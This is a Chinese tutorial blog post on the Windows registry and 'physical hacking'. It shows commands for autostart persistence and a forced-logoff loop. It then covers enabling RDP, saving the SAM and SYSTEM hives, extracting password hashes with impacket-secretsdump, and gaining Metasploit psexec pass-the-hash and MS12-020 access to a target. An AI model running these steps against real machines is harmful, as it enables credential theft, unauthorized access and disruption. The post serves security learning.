reg注册表研究与物理Hack

reg注册表研究与物理Hack

声明:内容的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。

目录

  • reg注册表研究与物理Hack
    • Windows注册表
    • 修改注册表实现应用程序开机自启动
    • 修改注册表实现用户注销(将这个bat丢到自启动里进行无限循环注销操作)
  • 物理HACK
    • 修改注册表实现服务开启-(RDP远程桌面为例)
    • 使用reg命令获取SYSTEM和SAM的敏感信息(拿到用户名和哈希密码)
    • 在kali中将system、sam文件进行哈希提取
    • MSF使用哈希密码对开启RDP的机器进行连接

Windows注册表

  1. 简介: 注册表是windows系统中具有层次结构的核心数据库,存储的是数据对Windows上运行的应用程序和服务至关重要。注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件。

  2. 开启 注册表编辑器

    WIN+R 输入–> regedit

  3. 也可以在cmd命令行中使用reg进行注册表操作

REG Operation [Parameter List] Operation [ QUERY | ADD | DELETE | COPY | SAVE | LOAD | UNLOAD | RESTORE | COMPARE | EXPORT | IMPORT | FLAGS ]

返回代码: (除了 REG COMPARE)

0 - 成功 1 - 失败

要得到有关某个操作的帮助,请键入: REG Operation /?

例如: REG QUERY /? REG ADD /? REG DELETE /? REG COPY /? REG SAVE /? REG RESTORE /? REG LOAD /? REG UNLOAD /? REG COMPARE /? REG EXPORT /? REG IMPORT /? REG FLAGS /?翻译

  1. 注册表位置

windows 注册表的位置:C:\Windows\System32\config

  1. 注册表结构
  2. 注册表中,所有的数据都是通过一种树状结构以键和子键的方式组织起来的,就像磁盘文件系统的目录结构一样。每个键包含一组特定的信息,每个键的键名都是和它所包含的信息相关联的。注册表的根键共有5个,且全为大写
    在这里插入图片描述

键值 与 类型:

键值由三部分组成: 名称、类型、数据

键值类型由常用的6种组成

字符串值(REG_SZ)

二进制值(REG_BINARY)

32位值(4个字节)(REG_DWORD)

64位值(5个字节)(REG_QWORD)

多字符串值(REG_MULTI_SZ)

可扩充字符串值(REG_EXPAND_SZ)

修改注册表实现应用程序开机自启动

windows 提供了专门的开机自启动注册表。每次开启时,它都会在这个注册表键下遍历键值,获取到键值中的程序路径,并创建进程启动程序。因此只需要将需要设置自启动的程序的路径添加到这个注册表中,便可以实现程序开启自启动功能。

常见的开机自启动注册表路径:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
注意:要修改HKEY_LOCAL_MACHINE 主键的注册表需要管理员权限

  • reg命令实现

一个bat脚本的路径是:C:\Scripts\MyScript.bat

@echo off 
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MyScript" /t REG_SZ /d "C:\Scripts\MyScript.bat"
  • @echo off:这行命令用于关闭命令提示符窗口中的命令回显。这样,在运行批处理文件时,命令本身不会在窗口中显示,只显示命令的结果。
  • reg add:这是用于添加注册表项的主要命令。
  • "HKCU\Software\Microsoft\Windows\CurrentVersion\Run":这是要添加的注册表键的路径,HKCU代表HKEY_CURRENT_USER,表示当前用户的注册表配置单元。
  • /v "MyScript"/v参数用于指定要添加或修改的注册表值的名称。在这里,MyScript是自定义的值名称,可以根据需要修改。
  • /t REG_SZ/t参数用于指定注册表值的数据类型。REG_SZ表示这是一个以空字符结尾的字符串,通常用于存储文本信息,如文件路径等。
  • /d "C:\Scripts\MyScript.bat"/d参数用于指定注册表值的数据。在这里,就是批处理文件的完整路径。

修改注册表实现用户注销(将这个bat丢到自启动里进行无限循环注销操作)

reg add “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer” /v “ForceLogoff” /t REG_DWORD /d 1 /f

  • reg add:这是用于添加注册表项的命令。
  • "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer":这是要添加或修改的注册表键的路径。
  • /v "ForceLogoff"/v参数用于指定要添加或修改的注册表值的名称。这里的ForceLogoff是我们设置的用于强制注销的键值名称。
  • /t REG_DWORD/t参数用于指定注册表值的数据类型。REG_DWORD是双字节数据类型,通常用于存储整数等数据,这里用于存储注销相关的设置。
  • /d 1/d参数用于指定注册表值的数据。将ForceLogoff的值设置为1,表示启用强制注销功能。
  • /f:这个参数表示强制写入,即使目标注册表项已经存在也会进行修改。

触发注销操作

  • 在修改上述注册表项后,注销操作并不会立即自动执行。可以通过以下几种方式来触发注销:
    • 重新启动Explorer.exe进程:在任务管理器中,找到Explorer.exe进程,右键单击它并选择 “结束任务”。然后在任务管理器的 “文件” 菜单中选择 “新建任务(运行…)”,在输入框中输入 “Explorer.exe” 并回车,这样会重新加载Explorer.exe,系统可能会根据注册表设置进行注销操作。

当然必须有在命令行执行

taskkill /f /im Explorer.exe进程终止

start explorer.exe – 进程启动

这两个命令就完成了explorer.exe 进程的重启操作


物理HACK

修改注册表实现服务开启-(RDP远程桌面为例)

  1. 可以先检查一下rdp的服务状态,在cmd命令行中

sc query termservice

  1. 使用reg开启RDP服务

reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

  • reg add:这是用于添加或修改注册表项的命令。

  • "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server":这是注册表中的路径,HKLM代表HKEY_LOCAL_MACHINE,这是系统级别的注册表配置单元,其中包含了系统范围的配置信息。

  • /v fDenyTSConnections/v表示指定要修改的注册表值的名称。fDenyTSConnections这个值用于控制是否允许远程桌面连接。当它的值为0时,表示允许连接;当它的值为1时,表示禁止连接。

  • /t REG_DWORD/t表示指定数据类型,REG_DWORD是双字节数据类型,用于存储整数等数据。

  • /d 0/d表示指定要设置的数据。这里将fDenyTSConnections的值设置为0,即允许远程桌面连接。

  • /f:这个参数表示强制写入,即使目标注册表项已经存在也会进行修改。

使用reg命令获取SYSTEM和SAM的敏感信息(拿到用户名和哈希密码)

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save

save是备份命令,将两个注册表文件数据进行备份获取

在kali中将system、sam文件进行哈希提取

  • 使用impacket 库来提取哈希值
impacket-secretsdump -sam sam.save -system system.save LOCAL

这条命令主要用于从 Windows 系统的关键注册表文件(SAMSYSTEM)备份中提取敏感信息,如用户账户和密码哈希。

  • impacket - secretsdump:
    • impacket是一个功能强大的 Python 库,用于网络协议的开发和利用。它提供了一系列工具来处理各种网络协议相关的任务,包括与 Windows 系统的交互。
    • secretsdumpimpacket库中的一个工具,专门用于从 Windows 系统的SAM(Security Accounts Manager)和SYSTEM文件中提取秘密信息,主要是用户账户相关的信息,如用户名、密码哈希等。
  • -sam sam.save:
    • -samsecretsdump工具的一个参数,用于指定SAM文件的位置。在这里,sam.saveSAM文件的文件名,意味着命令会从名为sam.save的文件中读取SAM相关的信息。SAM文件存储了 Windows 系统中用户账户和密码(以加密形式)以及账户相关的安全设置等重要信息。
  • -system system.save:
    • 类似地,-system是参数,用于指定SYSTEM文件的位置。system.save是文件名,这个文件包含了系统配置信息,这些信息对于解密SAM文件中的密码哈希等操作是必需的。SYSTEM文件包含了如系统启动配置、设备驱动程序设置等众多系统级别的信息,其中一些设置与用户账户的安全策略和密码存储方式相关。
  • LOCAL:
    • LOCAL参数表示操作的目标是本地文件,即告诉secretsdump工具,SAMSYSTEM文件是本地存储的,不需要通过网络连接到远程系统来获取这些文件。这是在已经获取到本地文件副本后进行离线分析的一种方式。

MSF使用哈希密码对开启RDP的机器进行连接

  1. 前提条件准备
    • 目标机器要求:目标机器需要开启 3389 端口(RDP 服务端口)。并且,你需要获取目标机器的合法登录凭证,如用户名和密码或者 NTLM 哈希。
    • Metasploit 环境搭建:你需要在自己的攻击机器上正确安装和配置 Metasploit Framework。确保 MSF 能够正常运行,并且你的网络设置允许向外发起连接请求。
  2. 使用 psexec 模块进行 RDP 连接相关操作(通过用户名 / 密码或者哈希)
    • 加载模块:在 MSF 终端中,输入命令use exploit/windows/smb/psexec来加载 psexec 模块。这个模块利用 Windows 的 SMB(服务器消息块)协议来在目标机器上执行命令,进而有可能建立 RDP 连接。
    • 设置参数:
      • 目标主机参数(RHOST):使用命令set RHOST <目标机器IP地址>来指定目标机器的 IP 地址。例如,如果目标机器的 IP 是 192.168.1.100,那么就输入set RHOST 192.168.1.100
      • 登录凭证参数:
        • 用户名和密码方式:如果知道目标机器的用户名和密码,使用命令set SMBUser <用户名>set SMBPass <密码>来设置登录凭证。例如,set SMBUser administratorset SMBPass password123
        • 哈希方式:如果有目标机器的 NTLM 哈希,使用命令set SMBHash <哈希值>来设置。例如,set SMBHash aad3b435b51404eeaad3b435b51404ee:1234567890abcdef(这只是一个示例哈希格式)。
      • 本地监听参数(LHOST):设置你的本地 IP 地址(攻击机器 IP),用于接收来自目标机器的连接信息。使用命令set LHOST <本地IP地址>。例如,set LHOST 192.168.1.200
    • 执行攻击:在设置好所有参数后,输入命令exploit来尝试执行攻击。如果成功,会在目标机器上建立一个会话,通过这个会话可以进一步尝试进行 RDP 连接相关的操作,如使用命令shell来打开一个类似命令提示符的窗口,在其中可以输入命令来操作目标机器,包括启动 RDP 客户端等操作。
  3. 利用 RDP 漏洞模块进行连接(如果目标存在相关漏洞)
    • 扫描 RDP 漏洞:在尝试利用漏洞连接之前,最好先使用 MSF 的辅助模块(如auxiliary/scanner/rdp/rdp_scanner)来扫描目标机器是否存在 RDP 相关漏洞。加载这个模块后,设置目标机器的 IP 范围(set RHOSTS),然后执行exploit来进行扫描。
    • 利用漏洞模块:
      • 加载模块:如果扫描发现目标机器存在相关 RDP 漏洞,比如 MS12 - 020 漏洞,可以使用命令use exploit/windows/rdp/ms12 - 020_maxchannelids来加载这个漏洞利用模块。
      • 设置参数:如同 psexec 模块一样,设置目标主机(RHOST)、本地监听(LHOST)等参数。
        如果扫描发现目标机器存在相关 RDP 漏洞,比如 MS12 - 020 漏洞,可以使用命令use exploit/windows/rdp/ms12 - 020_maxchannelids来加载这个漏洞利用模块。
      • 设置参数:如同 psexec 模块一样,设置目标主机(RHOST)、本地监听(LHOST)等参数。
      • 执行攻击:输入exploit命令来尝试利用漏洞在目标机器上建立会话,进而实现对目标机器的控制,包括进行 RDP 连接相关操作。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/885518.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[论文粗读][REALM: Retrieval-Augmented Language Model Pre-Training

引言 今天带来一篇检索增强语言模型预训练论文笔记——REALM: Retrieval-Augmented Language Model Pre-Training。这篇论文是在RAG论文出现之前发表的。 为了简单&#xff0c;下文中以翻译的口吻记录&#xff0c;比如替换"作者"为"我们"。 语言模型预训练…

深入浅出WebSocket(实践聊天室demo)

文章目录 什么是WebSocket?WebSocket连接过程WebSocket与Http的区别重连机制完整代码使用方法心跳机制实现聊天室demo(基于Socket.io)参考文章、视频小广告~什么是WebSocket? WebSocket 是一种在单个TCP连接上进行全双工通信的协议(计算机网络应用层的协议) 在 WebSocket A…

RabbitMQ队列详细属性(重要)

RabbitMQ队列详细属性 1、队列的属性介绍1.1、Type&#xff1a;队列类型1.2、Name&#xff1a;队列名称1.3、Durability&#xff1a;声明队列是否持久化1.4、Auto delete&#xff1a; 是否自动删除1.5、Exclusive&#xff1a;1.6、Arguments&#xff1a;队列的其他属性&#xf…

springboot029基于springboot的网上购物商城系统

&#x1f345;点赞收藏关注 → 添加文档最下方联系方式领取本源代码、数据库&#x1f345; 本人在Java毕业设计领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目希望你能有所收获&#xff0c;少走一些弯路。&#x1f345;关注我不迷路&#x1f345; 项目视频 基于…

【大数据学习 | HBASE】habse的表结构

在使用的时候hbase就是一个普通的表&#xff0c;但是hbase是一个列式存储的表结构&#xff0c;与我们常用的mysql等关系型数据库的存储方式不同&#xff0c;mysql中的所有列的数据是按照行级别进行存储的&#xff0c;查询数据要整个一行查询出来&#xff0c;不想要的字段也需要…

二手交易平台测试用例设计和执行

&#x1f384;欢迎来到边境矢梦的csdn博文&#x1f384; &#x1f384;追求开源思想和学无止境思想一直在提升技术的路上 &#x1f384; &#x1f308;涉及的领域有&#xff1a;Java、Python、微服务架构和分布式架构思想、基本算法编程&#x1f308; &#x1f386;喜欢的朋友可…

SpringBoot框架的简介及实现步骤

一&#xff0c;SpringBoot简介: Spring Boot 是一个由 Pivotal 团队开发的开源框架&#xff0c;它基于 Spring 框架&#xff0c;旨在简化新 Spring 应用的初始搭建以及开发过程。Spring Boot 提供了多种特性来帮助开发者快速地创建独立的、生产级别的基于 Spring 的应用。 在…

七大AI知识库工具概览

在数字化转型的浪潮中&#xff0c;企业越来越注重知识管理的重要性。以下是七款各具特色的AI知识库工具&#xff0c;它们通过智能化手段助力企业在知识管理、团队协作及客户服务等方面取得显著成效。 HelpLook AI知识库 概述&#xff1a;作为一款SaaS软件&#xff0c;HelpLook…

26.校园快递物流管理系统(基于SSM和Vue的Java项目)

目录 1.系统的受众说明 2.相关技术 2.1 JAVA简介 2.2 SSM三大框架 2.3 MyEclipse开发环境 2.4 Tomcat服务器 2.5 MySQL数据库 2.6访问数据库实现方法 3. 系统分析 3.1 需求分析 3.2 系统可行性分析 3.2.1技术可行性&#xff1a;技术背景 3.2.2经济可行性…

数据编排与ETL有什么关系?

数据编排作为近期比较有热度的一个话题&#xff0c;讨论度比较高&#xff0c;同时数据编排的出现也暗示着数字化进程的自动化发展。在谈及数据编排时&#xff0c;通常也会谈到ETL&#xff0c;这两个东西有相似点也有不同点。 数据编排和ETL&#xff08;提取、转换、加载&#x…

CSS教程(二)- CSS选择器

1. 作用 匹配文档中的某些元素为其应用样式。根据不同需求把不同的标签选出来。 2. 分类 分类 基础选择器 包含 标签选择器、ID选择器、类选择器、通用选择器等 复合选择器 包含 后代选择器、子代选择器、伪类选择器等 1 标签选择器 介绍 又称为元素选择器&#xff0c;根…

材质(二)——材质参数化,从源材质继承生成不同的材质实例

继承原材质&#xff0c;对外提供参数。 更改调制不同的参数&#xff0c;生成不同的材质实例。 类似于&#xff0c;类的继承。有一个基类Base.继承生成为子类 A_Base,B_Base,C_Base

WordPress 2024主题实例镜像

目录 隐藏 1 WordPress 2024主题实例镜像启用的插件 2 WordPress 2024主题实例镜像截图 WordPress 2024主题实例镜像启用的插件 WordPress 2024主题实例镜像启用了2024主题&#xff0c;配置了&#xff1a; Akismet 反垃圾评论插件 Admin Notices Manager仪表盘通知隐藏…

Java 基于 SpringBoot+Vue 的水果在线销售系统开发(附源码,文档)

博主介绍&#xff1a;✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;…

如何用Python代码计算文件的SHA256?

以下是使用 Python 计算文件的 SHA256 哈希值的例子。代码的功能是利用Python代码计算文件的SHA256&#xff0c;同时将结果打印到屏幕和文件。 import hashlib import sysdef calculate_sha256(file_path):sha256_hash hashlib.sha256()with open(file_path, "rb")…

腾讯云nginx SSL证书配置

本章教程,记录在使用腾讯云域名nginx证书配置SSL配置过程。 一、nginx配置 域名和证书,替换成自己的即可。证书文件可以自定义路径位置。服务器安全组或者防火墙需要开放80和443端口。 server {#SSL 默认访问端口号为 443listen 443 ssl; #请填写绑定证书的域名server_name c…

【双十一特惠】腾讯云省钱攻略:如何智取云计算资源

前言 双十一不仅是购物的狂欢节&#xff0c;对于云计算用户来说&#xff0c;更是一个节省成本的绝佳时机。腾讯云&#xff0c;作为国内领先的云计算服务商&#xff0c;每年双十一都会推出一系列优惠活动。本文将为您揭开如何在这个购物节中&#xff0c;最大化利用腾讯云的优惠…

032集——圆转多段线(Circle to Polyline)(CAD—C#二次开发入门)

CAD中圆可转为带有凸度的多段线以方便后期数据计算、处理&#xff0c;效果如下&#xff1a; 白色为圆&#xff0c;红色为转换后的多段线&#xff08;为区分&#xff0c;已手工偏移多段线&#xff09; public static void XX(){var curves Z.db.SelectEntities<Entity>…

【极客兔兔-Web框架Gee详解】Day2 上下文Context

文章目录 一、框架结构二、设计上下文(Context):day2-context/gee/context.go1. 设计Context必要性1.1 接口粒度过细:1.2 缺乏扩展性:2. 代码3. 优势三、路由(Router): day2-context/gee/router.go四、框架入口:day2-context/gee/gee.go1. 代码五、框架使用: day2-context/m…

HTB:Sightless[WriteUP]

目录 连接至HTB服务器并启动靶机 使用nmap对靶机TCP端口进行开放扫描 继续使用nmap对靶机开放的TCP端口进行脚本、服务扫描 首先尝试对靶机FTP服务进行匿名登录 使用curl访问靶机80端口 使用浏览器可以直接访问该域名 使用浏览器直接访问该子域 Getshell 横向移动 查…